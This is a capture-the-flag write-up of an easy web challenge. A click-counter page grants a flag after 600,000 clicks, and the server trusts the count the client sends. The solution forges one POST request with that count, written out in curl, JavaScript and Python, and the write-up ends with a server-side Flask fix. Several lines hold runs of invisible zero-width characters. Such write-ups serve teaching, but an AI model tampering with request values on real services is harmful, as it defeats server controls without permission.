← Back to Writeups
CUSTOMEasyWeb

Сила воли (Willpower)

XESXOR9/10/20262 min read
#web#custom#easy#parameter_manipulation#request_forgery#source_code_analysis#linux

Сила воли (Willpower)

Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: parameter_manipulation, request_forgery, source_code_analysis

Summary

Task: Click challenge requiring 600,000 clicks to get the flag. Solution: Client-side trust vulnerability — the server accepts any click count sent via POST request without validation, bypassing the need for actual clicks.

Сила воли (Willpower) — duckerz CTF

Description

"Я люблю людей, движущихся только вперед, поэтому я сделал сайт на проверку их силы воли и выносливости. Докажи мне, что ты достоин получить этот флаг!"

(Translation: "I love people who only move forward, so I made a website to test their willpower and endurance. Prove to me that you deserve this flag!")

URL: http://tasks.duckerz.ru:30069

Analysis

Initial Reconnaissance

The main page presents a "Click Challenge" — a TAP button with a counter and message:

  • "Click 600,000 times to get the flag"
  • Progress bar shows the current click count ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Source Code Analysis

Examining the JavaScript file /static/js/index.js:

javascript
let clicks = 0;
const targetClicks = 600000;

function onClick() {
  clicks += 1;
  updateProgressBar();
  
  if (clicks < targetClicks) {
    document.getElementById("clicks").innerHTML = clicks;
  }

  let url = 'http://tasks.duckerz.ru:30069/check_clicks';
  fetch(url, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
    },
    body: JSON.stringify({clicks: clicks}),
  }).then(response => response.json()).then(data => {
    if(data != 'err') {
      document.getElementById("flag").innerHTML = data;
    }
  })
};

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Identified Vulnerability

Client-Side Trust — the server fully trusts the clicks value sent by the client:

  1. Click counter is stored on the client (let clicks = 0)
  2. Each click sends a POST request with the current value
  3. Server only checks clicks >= 600000, without tracking actual clicks
  4. Missing:
    • Server-side click counter
    • Session binding
    • Rate limiting
    • Time validation between clicks

Solution

Instead of 600,000 clicks — one HTTP request with the required value: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s -X POST http://tasks.duckerz.ru:30069/check_clicks \
  -H "Content-Type: application/json" \
  -d '{"clicks": 600000}'

Alternatively via browser console:

javascript
fetch('/check_clicks', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({clicks: 600000})
}).then(r => r.json()).then(console.log)

Or via Python:

python
import requests

url = "http://tasks.duckerz.ru:30069/check_clicks"
data = {"clicks": 600000}
response = requests.post(url, json=data)
print(response.json())

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

Proper implementation should include:

python
# Server-side
from flask import Flask, session
import time

@app.route('/click', methods=['POST'])
def click():
    if 'clicks' not in session:
        session['clicks'] = 0
        session['last_click'] = 0
    
    # Rate limiting
    now = time.time()
    if now - session['last_click'] < 0.05:  # Max 20 clicks/sec
        return {'error': 'too fast'}, 429
    
    session['clicks'] += 1
    session['last_click'] = now
    
    if session['clicks'] >= 600000:
        return {'flag': FLAG}
    
    return {'clicks': session['clicks']}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Notes

  • The name "Сила воли" (Willpower) — an ironic hint that the solution is NOT in 600,000 clicks
  • The flag contains a reference to NOTCOIN — a Telegram game with similar tap mechanics
  • Classic example of "never trust the client" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍